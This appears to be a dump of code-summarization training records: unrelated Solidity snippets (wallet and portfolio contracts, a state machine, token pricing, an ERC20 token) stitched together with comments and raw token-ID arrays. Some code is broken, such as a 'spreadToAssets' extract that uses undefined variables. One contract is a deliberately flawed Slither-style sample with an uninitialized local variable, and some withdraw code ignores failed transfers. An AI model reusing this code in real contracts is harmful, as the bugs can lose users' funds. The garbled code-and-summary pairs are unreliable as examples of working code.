function emptyAsset(uint currentIndex) internal {
//set asset data
Asset memory asset = assets[currentIndex];
address sellingAddress = asset.tokenAddress;
address wethAddress = config.wethAddress;
//get swap config
uint slippage = config.slippage;
uint swapTimeLimit = config.swapTimeLimit;
require(asset.amount > 0, "Asset is already empty");
if (sellingAddress == wethAddress) {
//deposit to Wrapped WETH
iWeth.withdraw(asset.amount);
}
else {
//set path
address[] memory path = new address[](2);
path[0] = sellingAddress;
path[1] = wethAddress;
//get amounts out
uint[] memory amountsOut = iUniswapRouter.getAmountsOut(asset.amount, path);
uint tokenOutput = amountsOut[1];
//calculate slippage
uint amountOutMin = tokenOutput * (10000 - slippage) / 10000;
//set deadline
uint deadline = block.timestamp + swapTimeLimit;
IUniswapV2Pair pair = IUniswapV2Pair(sellingAddress);
pair.approve(address(iUniswapRouter), asset.amount);
//swap Eth for tokens and set return amounts
iUniswapRouter.swapExactTokensForETH(asset.amount, amountOutMin, path, address(this), deadline);
}
//update asset balance
updateAssetBalance(currentIndex);
}
function configure(uint _slippage, uint _swapTimeLimit, address _uniswapRouterAddress, address _wethAddress) onlyOwner public {
config = Config({
slippage: _slippage,
swapTimeLimit: _swapTimeLimit,
uniswapRouterAddress: _uniswapRouterAddress,
wethAddress:_wethAddress
});
//set interface instances
iUniswapRouter = IUniswapV2Router(config.uniswapRouterAddress);
iWeth = IWETH(config.wethAddress);
//set configured to true
configured = true;
}
function rename(string memory newName) onlyOwner public {
name = newName;
}
function deposit() public payable {
require(configured, "Configure portfolio");
if (!rebalancing) {
spreadToAssets();
}
}
function withdraw(uint amount) onlyOwner public {
//set state
rebalancing = true;
emptyAssets();
//transfer to owner
owner.call{value: amount}("");
spreadToAssets();
rebalancing = false;
}
function withdrawAll() onlyOwner public {
//set state
rebalancing = true;
emptyAssets();
//transfer to owner
owner.call{value: address(this).balance}("");
spreadToAssets();
rebalancing = false;
}
function getTotalAssets() public view returns (uint) {
return totalAssets;
}
function getAssetDetails(uint i) public view returns (string memory, string memory, address, uint, uint) {
return (assets[i].name, assets[i].symbol, assets[i].tokenAddress, assets[i].ratio, assets[i].amount);
}
receive() external payable {
deposit();
}
}
// File: contracts/wealthWallet.sol
pragma solidity ^0.7.6;
contract WealthWallet {
address public owner;
uint public totalPortfolios;
mapping(uint => Portfolio) public portfolios;
bool public defaultSet;
uint public defaultPortfolio;
constructor(address _owner) public {
owner = _owner;
defaultSet = false;
totalPortfolios = 0;
}
modifier onlyOwner {
require(msg.sender == owner, "Only owner can call this function.");
_;
}
function createPortfolio(string memory _name) onlyOwner public {
Portfolio portfolio = new Portfolio(owner, _name);
portfolios[totalPortfolios] = portfolio;
//if there is no default portfolio
if (!defaultSet) {
//set default to this
defaultPortfolio = totalPortfolios;
defaultSet = true;
}
//update total portfolios
totalPortfolios+=1;
}
function addFunds() public payable {
require(defaultSet, "Create a portfolio");
fundPortfolio(defaultPortfolio);
}
function fundPortfolio(uint portfolioIndex) public payable {
//get portfolio
Portfolio portfolio = portfolios[portfolioIndex];
//fund portfolio with msg value
address(portfolio).call{value: msg.value}("");
}
function setDefault(uint portfolioIndex) onlyOwner public {
require(portfolioIndex < totalPortfolios, "Portfolio doesn't exist");
//sets new default portfolio
defaultPortfolio = portfolioIndex;
}
function getOwner() public view returns (address) {
return owner;
}
function getTotalPortfolios() public view returns (uint) {
return totalPortfolios;
}
function getPortfolio(uint portfolioIndex) public view returns (address) {
return address(portfolios[portfolioIndex]);
}
receive() external payable {
addFunds();
}
}
// File: contracts/wealthWalletFactory.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
contract WealthWalletFactory {
mapping(address => WealthWallet) public wealthWallets;
function createWealthWallet() external {
require(address(wealthWallets[msg.sender]) == address(0), "Wealthwallet already exists");
//create wealth wallet
WealthWallet wealthWallet = new WealthWallet(msg.sender);
//map wealth wallet to sender
wealthWallets[msg.sender] = wealthWallet;
}
function getWealthWallet() external view returns (address) {
return address(wealthWallets[msg.sender]);
}
}
|
spread contract balance to assetsfor every assetif current amount is emptyif current amount is more than amount to assetbuy asset for amountadjust current amountbuy remaining current amount and set to 0
|
function spreadToAssets() internal {
uint totalAmount = address(this).balance;
uint currentAmount = totalAmount;
for (uint i=0; i<totalAssets; i++) {
if (currentAmount == 0) {
break;
}
uint assetRatio = asset.ratio;
if (assetRatio == 0) {
break;
}
if (amountPerAsset <= currentAmount) {
buyAsset(i, amountPerAsset);
if (amountPerAsset == currentAmount) {
currentAmount = 0;
}
else {
currentAmount -= amountPerAsset;
}
}
else {
buyAsset(i, currentAmount);
currentAmount = 0;
}
}
}
| 2,446,607 |
[
1,
26007,
6835,
11013,
358,
7176,
1884,
3614,
3310,
430,
783,
3844,
353,
1008,
430,
783,
3844,
353,
1898,
2353,
3844,
358,
3310,
70,
9835,
3310,
364,
3844,
13362,
783,
3844,
70,
9835,
4463,
783,
3844,
471,
444,
358,
374,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
15103,
774,
10726,
1435,
2713,
288,
203,
3639,
2254,
2078,
6275,
273,
1758,
12,
2211,
2934,
12296,
31,
203,
3639,
2254,
783,
6275,
273,
2078,
6275,
31,
203,
203,
3639,
364,
261,
11890,
277,
33,
20,
31,
277,
32,
4963,
10726,
31,
277,
27245,
288,
203,
5411,
309,
261,
2972,
6275,
422,
374,
13,
288,
203,
7734,
898,
31,
203,
5411,
289,
203,
203,
5411,
2254,
3310,
8541,
273,
3310,
18,
9847,
31,
203,
203,
5411,
309,
261,
9406,
8541,
422,
374,
13,
288,
203,
7734,
898,
31,
203,
5411,
289,
203,
2398,
203,
2398,
203,
5411,
309,
261,
8949,
2173,
6672,
1648,
783,
6275,
13,
288,
203,
7734,
30143,
6672,
12,
77,
16,
3844,
2173,
6672,
1769,
203,
203,
7734,
309,
261,
8949,
2173,
6672,
422,
783,
6275,
13,
288,
203,
10792,
783,
6275,
273,
374,
31,
203,
7734,
289,
203,
7734,
469,
288,
203,
10792,
783,
6275,
3947,
3844,
2173,
6672,
31,
203,
7734,
289,
203,
5411,
289,
203,
5411,
469,
288,
203,
7734,
30143,
6672,
12,
77,
16,
783,
6275,
1769,
203,
7734,
783,
6275,
273,
374,
31,
203,
5411,
289,
203,
3639,
289,
203,
540,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity 0.4.23;
import "../TimedStateMachine.sol";
contract StateMachineUser is TimedStateMachine {
bytes32 constant STATE1 = "state1";
bytes32 constant STATE2 = "state2";
bytes32 constant STATE3 = "state3";
bytes32 constant STATE4 = "state4";
bytes32[] states = [STATE1, STATE2, STATE3, STATE4];
constructor() public {
setupStates();
}
/* The 'checkAllowed' modifier will perform conditional transitions
and check that the function is allowed at the current state */
function() public checkAllowed {
// Do something
}
function foo() public checkAllowed {
// Do something
}
function bar() public checkAllowed {
// Do something
}
function setupStates() internal {
setStates(states);
allowFunction(STATE1, this.foo.selector);
allowFunction(STATE2, this.bar.selector);
allowFunction(STATE3, 0); // Allow fallback function
addCallback(STATE1, onState1);
addCallback(STATE2, onState2);
addCallback(STATE3, onState3);
setStateStartTime(STATE2, now + 2 weeks);
setStateStartTime(STATE3, now + 3 weeks);
addStartCondition(STATE4, shouldState4Start);
}
// Callback when entering each state
function onState1() internal { /* Do something */ }
function onState2() internal { /* Do something */ }
function onState3() internal { /* Do something */ }
function shouldState4Start(bytes32) internal returns(bool) {
return true;
}
}
|
The 'checkAllowed' modifier will perform conditional transitions Do something
|
and check that the function is allowed at the current state */
function() public checkAllowed {
}
| 7,221,187 |
[
1,
1986,
296,
1893,
5042,
11,
9606,
903,
3073,
11139,
13136,
2256,
5943,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
471,
866,
716,
326,
445,
353,
2935,
622,
326,
783,
919,
1195,
203,
203,
565,
445,
1435,
1071,
866,
5042,
288,
203,
565,
289,
203,
540,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./partial_match/42/0xF92E141CFCCA7a96ed0594516aAc19d6285bf23E/sources/CyclopsBank.sol
|
decrease on amount;
|
customers_deposits[index].deposits[dep_id].deposit_amount -= amount;
| 3,305,565 |
[
1,
323,
11908,
603,
3844,
31,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
5397,
29380,
67,
323,
917,
1282,
63,
1615,
8009,
323,
917,
1282,
63,
15037,
67,
350,
8009,
323,
1724,
67,
8949,
3947,
3844,
31,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./partial_match/3/0xa4623f2Dd3f04954d44411970f6913474A2a5327/sources/Ether_Token.sol
|
currentPrice_ = _currentPrice; grv = _grv;
|
function myethereumToTokens_(uint256 _ethereum, uint256 _currentPrice, uint256 _grv, bool _buy)
internal
view
returns(uint256)
{
uint256 _tokenPriceIncremental = (tokenPriceIncremental_*((3**(_grv-1))));
uint256 _tempad = (2*_currentPrice)- _tokenPriceIncremental;
uint256 _tokenSupply = tokenSupply_;
uint256 _tokensReceived = (
(
SafeMath.sub(
(sqrt(
(_tempad**2)
+ (8*_tokenPriceIncremental*_ethereum)
)
), _tempad)
)/(2*_tokenPriceIncremental)
);
uint256 tempbase = upperBound_(_grv);
if((_tokensReceived + _tokenSupply) < tempbase && _tokenSupply < tempbase){
_currentPrice = _currentPrice+((_tokensReceived)*_tokenPriceIncremental);
}
if((_tokensReceived + _tokenSupply) > tempbase && _tokenSupply < tempbase){
_tokensReceived = tempbase - _tokenSupply;
}
if(_buy == true)
{
}
return _tokensReceived;
}
| 5,127,815 |
[
1,
2972,
5147,
67,
273,
389,
2972,
5147,
31,
3821,
90,
273,
389,
3197,
90,
31,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
3399,
546,
822,
379,
774,
5157,
67,
12,
11890,
5034,
389,
546,
822,
379,
16,
2254,
5034,
389,
2972,
5147,
16,
2254,
5034,
389,
3197,
90,
16,
1426,
389,
70,
9835,
13,
203,
3639,
2713,
203,
3639,
1476,
203,
3639,
1135,
12,
11890,
5034,
13,
203,
565,
288,
203,
3639,
2254,
5034,
225,
389,
2316,
5147,
10798,
287,
273,
261,
2316,
5147,
10798,
287,
67,
14,
12443,
23,
636,
24899,
3197,
90,
17,
21,
3719,
10019,
203,
3639,
2254,
5034,
389,
5814,
361,
273,
261,
22,
14,
67,
2972,
5147,
24950,
389,
2316,
5147,
10798,
287,
31,
203,
3639,
2254,
5034,
389,
2316,
3088,
1283,
273,
1147,
3088,
1283,
67,
31,
203,
3639,
2254,
5034,
389,
7860,
8872,
273,
261,
203,
5411,
261,
203,
1171,
203,
7734,
14060,
10477,
18,
1717,
12,
203,
10792,
261,
24492,
12,
203,
18701,
261,
67,
5814,
361,
636,
22,
13,
203,
18701,
397,
261,
28,
14,
67,
2316,
5147,
10798,
287,
14,
67,
546,
822,
379,
13,
203,
13491,
262,
203,
10792,
262,
16,
389,
5814,
361,
13,
203,
1171,
203,
5411,
262,
19,
12,
22,
14,
67,
2316,
5147,
10798,
287,
13,
203,
3639,
11272,
203,
3639,
2254,
5034,
1906,
1969,
273,
21663,
67,
24899,
3197,
90,
1769,
203,
3639,
309,
12443,
67,
7860,
8872,
397,
389,
2316,
3088,
1283,
13,
411,
1906,
1969,
597,
389,
2316,
3088,
1283,
411,
1906,
1969,
15329,
203,
5411,
389,
2972,
5147,
273,
389,
2972,
5147,
15,
12443,
67,
7860,
8872,
17653,
67,
2316,
5147,
10798,
287,
1769,
203,
2
] |
pragma solidity 0.6.2;
//based on slither
contract uninitStateLocalVar{
address payable payee;
uint256 public _order;
event Record(address indexed _donors, uint256 _number, uint256 _money);
constructor() public{
_order = 0;
payee = msg.sender;
}
//The local variable "number" is not initialized, so "number" always is 0.
function giveMeMoney() external payable{
//If the local variable is declared but not initialized, the local variable will be set to the default value. In some cases, the functionality of the contract may not match the developer's expectations due to uninitialized variables. In particular, uninitialized address types are particularly dangerous. The initial value of the local variable should be specified clearly, which can reduce the probability of error and make the code better understood.
uint256 number;
_order += 1;
require(msg.value > 0);
emit Record(msg.sender, number, msg.value);
}
function withdrawDonation() external{
payee.transfer(address(this).balance);
}
}
|
The local variable "number" is not initialized, so "number" always is 0.If the local variable is declared but not initialized, the local variable will be set to the default value. In some cases, the functionality of the contract may not match the developer's expectations due to uninitialized variables. In particular, uninitialized address types are particularly dangerous. The initial value of the local variable should be specified clearly, which can reduce the probability of error and make the code better understood.
|
function giveMeMoney() external payable{
uint256 number;
_order += 1;
require(msg.value > 0);
emit Record(msg.sender, number, msg.value);
}
| 5,533,749 |
[
1,
1986,
1191,
2190,
315,
2696,
6,
353,
486,
6454,
16,
1427,
315,
2696,
6,
3712,
353,
374,
18,
2047,
326,
1191,
2190,
353,
7886,
1496,
486,
6454,
16,
326,
1191,
2190,
903,
506,
444,
358,
326,
805,
460,
18,
657,
2690,
6088,
16,
326,
14176,
434,
326,
6835,
2026,
486,
845,
326,
8751,
1807,
26305,
6541,
358,
640,
13227,
3152,
18,
657,
6826,
16,
640,
13227,
1758,
1953,
854,
6826,
715,
27308,
1481,
18,
1021,
2172,
460,
434,
326,
1191,
2190,
1410,
506,
1269,
2424,
715,
16,
1492,
848,
5459,
326,
11331,
434,
555,
471,
1221,
326,
981,
7844,
31727,
4773,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
8492,
4667,
23091,
1435,
3903,
8843,
429,
95,
203,
3639,
2254,
5034,
1300,
31,
203,
3639,
389,
1019,
1011,
404,
31,
203,
3639,
2583,
12,
3576,
18,
1132,
405,
374,
1769,
203,
3639,
3626,
5059,
12,
3576,
18,
15330,
16,
1300,
16,
1234,
18,
1132,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.4.24;
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amout of tokens to be transfered
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
var _allowance = allowed[_from][msg.sender];
// Check is not needed because sub(_allowance, _value) will already throw if this condition is not met
// require (_value <= _allowance);
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Aprove the passed address to spend the specified amount of tokens on behalf of msg.sender.
